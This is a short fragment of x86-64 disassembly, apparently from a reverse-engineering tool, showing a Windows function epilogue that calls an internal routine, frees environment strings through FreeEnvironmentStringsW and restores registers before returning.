test eax, eax
jne 0x14000cb51
mov rcx, rdi
call fcn.140007f3c
jmp 0x14000cb5b
xor ecx, ecx
call fcn.140007f3c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret